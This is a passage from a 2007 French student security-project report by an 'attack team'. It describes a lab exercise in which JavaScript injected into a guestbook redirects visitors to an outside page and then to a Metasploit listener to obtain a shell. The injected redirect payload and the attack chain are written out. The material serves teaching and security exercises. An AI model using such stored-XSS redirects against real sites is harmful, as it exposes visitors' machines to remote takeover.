Objet du rapport / réunion - inetdoc.net

IUP STRI – M2 2007
Projet Sécurité – Equipe attaque G1
Conclusion
Ce type d’attaque est vraiment très long à mettre en place est nécessite beaucoup de
(développement|bidouillage). Parfois, il faut même de l’ingénierie sociale pour faire
fonctionner ces attaques. Par contre en prenant le temps, ces attaques très ciblées peuvent
être très efficaces.
Le gros avantage de ces attaques, c’est que l’on n’a pas besoin d’être sur le réseau local de
l’entreprise, l'Internet suffit et contrairement au injections qui commencent à être connues :
ces méthodes sont encore à la marge.
Rediriger les visiteurs vers un serveur Metasploit
Principe de l’attaque
Le principe de l’injection de javascript est de servir de support à l’attaque Metasploit qui nous
permettra d’obtenir un shell dans la machine cible
Pour réaliser cette attaque, nous donnons à l’équipe « Défense » l’instruction de se
connecter sur leur livre d’or à partir de leur client SP0.
L’idée consiste à injecter le code javascript suivant dans le livre d’or :
window.location='http://jordix.com/attack/';
Ainsi, lors de l’affichage des commentaires, lorsque le livre d’or sera chargé, le navigateur
client interprètera le code javascript affiché.
Le navigateur sera alors redirigé vers la page 'http://jordix.com/attack/ qui contient une
message comme quoi le site a été piraté. De plus il re-redirige le navigateur web vers l’IP de
la machine attaquante en écoute avec metasploit pour obtenir un shell sur le PC cible.
Voici un récapitulatif:
On injecte le code javascript suivant dans le livre d’or
Lorsque le client ciblé essaye de voir les commentaires postés sur le livre d’or, le
code javascript s’exécute sur le client.
Le navigateur du client est redirigé vers le site 'http://jordix.com/attack/
Un message de hacking s’affiche
De plus le client est redirigé vers l’IP (172.16.48.14) du PC malveillant contenant
metasploit.
Nous obtenons ainsi un shell sur la machine ciblée.
Voici le code contenu dans la page 'http://jordix.com/attack/index.html:
[ Attack Team STRI M2 G1 ]
. Copyright (c) 2007 – GNU Free Documentation licence ­ Équipe Attaque G1 – M2 STRI 42